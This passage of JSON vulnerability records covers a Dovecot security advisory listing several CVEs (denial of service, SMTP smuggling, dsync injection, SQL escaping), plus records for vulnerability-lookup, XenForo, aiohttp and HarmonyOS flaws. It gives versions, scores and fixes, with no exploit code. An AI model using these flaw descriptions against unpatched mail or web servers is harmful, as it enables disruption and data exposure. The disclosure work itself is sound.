          "value": "Hi!\n\nWe\u0027re sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those \nvulnerabilities. This advisory will also be published at \nhttps://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html\n\n---\n\nClassification: TLP:GREEN\n\nInternal reference: DOV-8476\nType: CWE-403 (Exposure of File Descriptor to Unintended Control Sphere (\u0027File Descriptor Leak\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2025-11-25\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-33263\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nsubmission-login: Panic when mail_max_userip_connections is reached: Panic: epoll_ctl(del, 8) failed: Bad file \ndescriptor. When mail_max_userip_connections is set (defaul\nt 10) and reached, submission-login can crash with epoll() panic caused by file descriptor handling issues.\n\nRisk:\nIf running in high-security mode (default for community releases), only the new submission connection gets terminated. \nIf running in high-performance mode (default for Pr\no releases), all connections handled by the submission-login process will be terminated. The crashes can cause failure \nfor user to send a message, or it can cause duplica\nte messages to be sent. If TLS is not used (in the backend server processing the submission), duplicate deliveries \ncannot happen, because the crash can only happen at AUT\nH stage. No publicly available exploits are known.\n\nSolution:\nLimit the number of connections handled by single submission-login process. This has a performance impact though. \nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8874\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.0.7, OX Dovecot Pro core \u003e=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \n\u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-03-11\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ylwango613@yeswehack\nCVE: CVE-2026-33607\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nDovecot IMAP LIST match_sub() Exponential Backtracking \u2014 CPU Denial of Service. An attacker that has valid credentials \ncan use IMAP LIST command to consume CPU.\n\nRisk:\nThis can cause degradation or denial of service for IMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage and kill the offending process and lock account. Alternatively install fixed \nversion.\n\n\n\n---\n\n\n\nInternal reference: DOV-8884\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-13\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nCVE: CVE-2026-27852\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nDoS by sending mail with bad header. An attacker that can send mail to a user can craft a message whose headers contain \na very large number of email addresses or MIME par\nameters, which causes excessive memory usage when the message is later parsed.\n\nRisk:\nThe message is still delivered, but reading it over IMAP can exhaust the memory limit of the process and terminate it, \ncausing denial of service for the affected user. No\n publicly available exploits are known.\n\nSolution:\nUpdate to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8941\nType: CWE-93 (Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: thanos_haruki@yeswehack\nCVE: CVE-2026-33606\nCVSS: 4.8 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N)\n\nDetails:\ndsync: Mail content can cause dsync protocol injection. Mail content stored by a user can be crafted so that it is \ninterpreted as dsync protocol commands when an administ\nrator later runs dsync with the stream protocol, for example during a migration.\n\nRisk:\nInjected commands can modify mailbox state on the destination during migration or replication, including internal \nmailbox attributes that a user should not be able to set\n directly. It can also cause dsync errors. No publicly available exploits are known.\n\nSolution:\nAvoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8947\nType: CWE-655 (Insufficient Psychological Acceptability)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: heckintosh@yeswehack\nCVE: CVE-2026-33604\nCVSS: 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\nDetails:\nSMTP Smuggling via Missing Dot-Stuffing After Bare Carriage Return. An attacker that can get Dovecot to relay a \nmessage, for example through Sieve redirect or submission \nrelay, can use a crafted line ending in the message body to bypass the outbound protection that prevents message \ncontent from being interpreted as SMTP commands.\n\nRisk:\nA downstream mail server that hasn\u0027t yet fixed the SMTP smuggling vulnerability can be tricked into treating part of \nthe message body as new SMTP commands, allowing injec\ntion of spoofed email. This is the same vulnerability class as CVE-2023-51764 and CVE-2023-51766. No publicly available \nexploits are known.\n\nSolution:\nWhere you control the receiving mail servers, ensure they reject bare carriage returns in message data. Update to \nnon-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8949\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-03-24\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: djvirus@yeswehack\nCVE: CVE-2026-40014\nCVSS: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)\n\nDetails:\nIMAP THREAD REFERENCES O(N\u00b2) CPU DoS via Crafted References Header (index-thread-links.c). An attacker that can send \nmail to a user can craft a message header that makes \nthe IMAP THREAD command consume CPU disproportionate to the size of the message.\n\nRisk:\nWhen a mail client issues a THREAD command on the affected mailbox, this can cause degradation or denial of service for \nIMAP. No publicly available exploits are known.\n\nSolution:\nMonitor system for abnormal CPU usage, kill the offending process and remove the offending message from the affected \nmailbox. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8991\nType: CWE-124 (Buffer Underwrite (\u0027Buffer Underflow\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-40013\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\npigeonhole: Stack Buffer Underflow in Pigeonhole ManageSieve CHECKSCRIPT/PUTSCRIPT. An attacker that has valid \ncredentials can submit a Sieve script containing an extreme\n numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script.\n\nRisk:\nThis causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of service for \nscript management. This might be able to be used for re\nmote code execution. No publicly available exploits are known.\n\nSolution:\nDisable the ManageSieve service if users do not need remote Sieve script management. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8994\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c2.3.22.2, OX Dovecot Pro core \u003e=3.0.0 \u003c3.0.7, OX Dovecot Pro core \n=3.1.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.0.7, OX Dovecot Pro core 2.3.22.2, OX Dovecot Pro core 3.1.6, OX Dovecot CE \ncore 2.4.5\nDiscovery date: 2026-04-02\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-33605\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nmanagesieve-login: Pre-auth crash. An unauthenticated attacker can crash the ManageSieve login process by sending a \nsmall malformed command before authenticating.\n\nRisk:\nIf running in high-security mode (default for community releases), only the attacker\u0027s own connection is terminated. If \nrunning in high-performance mode (default for Pro \nreleases), all connections handled by the same managesieve-login process are terminated. Repeating the attack can cause \ndenial of service for Sieve script management. No \npublicly available exploits are known.\n\nSolution:\nRestrict network access to the ManageSieve service to trusted clients. Update to non-vulnerable version.\n\n\n\n---\n\n\n\nInternal reference: DOV-9039\nType: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot Pro core \u003e=2.3.0 \u003c3.1.6, OX Dovecot CE core \u003e=2.3.0 \u003c2.4.5\nFirst fixed revision: OX Dovecot Pro core 3.1.6, OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: tipsennn@yeswehack\nCVE: CVE-2026-40018\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\nMySQL multi-byte escaping wrong. None\n\nRisk:\nNone No publicly available exploits are known.\n\nSolution:\nNone\n\n\n\n---\n\n\n\nInternal reference: DOV-9041\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nAffected versions: OX Dovecot CE core \u003e=2.4.3 \u003c2.4.5\nFirst fixed revision: OX Dovecot CE core 2.4.5\nDiscovery date: 2026-04-08\nSolution date: 2026-08-26\nDisclosure date: 2026-08-26\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-4"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1050",
              "description": "CWE-1050",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-124",
              "description": "CWE-124",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-125",
              "description": "CWE-125",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-287",
              "description": "CWE-287",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-400",
              "description": "CWE-400",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-403",
              "description": "CWE-403",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-416",
              "description": "CWE-416",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-655",
              "description": "CWE-655",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-674",
              "description": "CWE-674",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-93",
              "description": "CWE-93",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:55:52Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/116"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/116"
        },
        {
          "url": "https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0003.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/116"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Dovecot Security Advisory 3/2026",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0020",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/116",
            "automated": true,
            "contentSha256": "01aaf8800660f758cbc04e020b53167b1553f36c4c558df09e8389481ca8dfa0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/116",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-28T10:07:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-11T11:55:52Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0020"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "vulnerability-lookup",
          "vendor": "vulnerability-lookup",
          "versions": [
            {
              "lessThanOrEqual": "3.0",
              "status": "affected"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "nyanbinary \u003c@nyanbinary@infosec.exchange\u003e"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Cedric Bonhomme"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "A user enumeration vulnerability was identified in the authentication logic of the application. When an invalid login was supplied, the system performed an additional check to determine whether the input matched an existing email address and returned a specific error message if so. This behavior allowed unauthenticated attackers to infer whether a given email address was registered, enabling email address enumeration. The issue has been mitigated by removing the email-based check and returning a generic authentication failure message."
            }
          ],
          "value": "A user enumeration vulnerability was identified in the authentication logic of the application. When an invalid login was supplied, the system performed an additional check to determine whether the input matched an existing email address and returned a specific error message if so. This behavior allowed unauthenticated attackers to infer whether a given email address was registered, enabling email address enumeration. The issue has been mitigated by removing the email-based check and returning a generic authentication failure message."
        }
      ],
      "impacts": [
        {
          "descriptions": [
            {
              "lang": "en"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NEGLIGIBLE",
            "attackComplexity": "HIGH",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 2.1,
            "baseSeverity": "LOW",
            "privilegesRequired": "NONE",
            "providerUrgency": "CLEAR",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/S:N/U:Clear",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "orgId": "00000000-0000-4000-9000-000000000000"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/vulnerability-lookup/vulnerability-lookup/commit/ce2d6e7412f01219f117361472e1ef0ce783bc17"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Authentication Error Message Allows Email Address Enumeration",
      "x_gcve": [
        {
          "recordType": "advisory",
          "vulnId": "gcve-1-2026-0012"
        }
      ],
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "00000000-0000-4000-9000-000000000000",
    "datePublished": "2026-02-04T19:21:34.411344Z",
    "dateUpdated": "2026-02-04T19:21:34.411344Z",
    "requesterUserId": "00000000-0000-4000-9000-000000000000",
    "serial": 1,
    "state": "PUBLISHED",
    "vulnId": "gcve-1-2026-0012",
    "vulnerabilitylookup_history": [
      [
        "alexandre.dulaunoy@circl.lu",
        "2026-02-04T19:21:34.411344Z"
      ]
    ]
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-71280",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-01T13:19:58.434870Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-01T13:20:08.426Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "XenForo",
          "vendor": "XenForo",
          "versions": [
            {
              "lessThan": "2.3.7",
              "status": "affected",
              "version": "2.3.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.3.7",
                  "versionStartIncluding": "2.3.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jai Niresh J"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "Hypixel Inc."
        }
      ],
      "datePublic": "2025-07-15T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "XenForo before 2.3.7 allows information disclosure via local account page caching on shared systems. On systems where multiple users share a browser or machine, cached account pages could expose sensitive user information to other local users."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-01T01:43:20.759Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "XenForo 2.3.7 Released (Includes Security Fixes)",
          "tags": [
            "vendor-advisory",
            "patch"
          ],
          "url": "https://xenforo.com/community/threads/xenforo-2-3-7-released-includes-security-fixes.232121/"
        },
        {
          "name": "VulnCheck Advisory: XenForo Local Account Page Caching Information Disclosure",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/xenforo-local-account-page-caching-information-disclosure"
        }
      ],
      "title": "XenForo Local Account Page Caching Information Disclosure",
      "x_generator": {
        "engine": "vulncheck"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2025-71280",
    "datePublished": "2026-04-01T00:30:10.099Z",
    "dateReserved": "2026-04-01T00:19:58.851Z",
    "dateUpdated": "2026-04-01T13:20:08.426Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69226",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-06T14:25:35.975954Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-06T19:03:21.505Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "aiohttp",
          "vendor": "aio-libs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.13.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below enable an attacker to ascertain the existence of absolute path components through the path normalization logic for static files meant to prevent path traversal. If an application uses web.static() (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components. This issue is fixed in version 3.13.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-05T22:52:38.467Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"
        },
        {
          "name": "https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"
        }
      ],
      "source": {
        "advisory": "GHSA-54jq-c3m8-4m76",
        "discovery": "UNKNOWN"
      },
      "title": "AIOHTTP allows for a brute-force leak of internal static \ufb01lepath components"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-69226",
    "datePublished": "2026-01-05T22:52:38.467Z",
    "dateReserved": "2025-12-29T20:53:09.411Z",
    "dateUpdated": "2026-01-06T19:03:21.505Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-68966",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-14T14:29:46.839790Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-14T14:29:54.142Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "HarmonyOS",
          "vendor": "Huawei",
          "versions": [
            {
              "status": "affected",
              "version": "5.1.0"
            },
            {
              "status": "affected",
              "version": "5.0.1"
            },
            {
              "status": "affected",
              "version": "6.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Permission control vulnerability in the Notepad module.\u003cbr\u003eImpact: Successful exploitation of this vulnerability may affect service confidentiality."
            }
          ],
          "value": "Permission control vulnerability in the Notepad module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
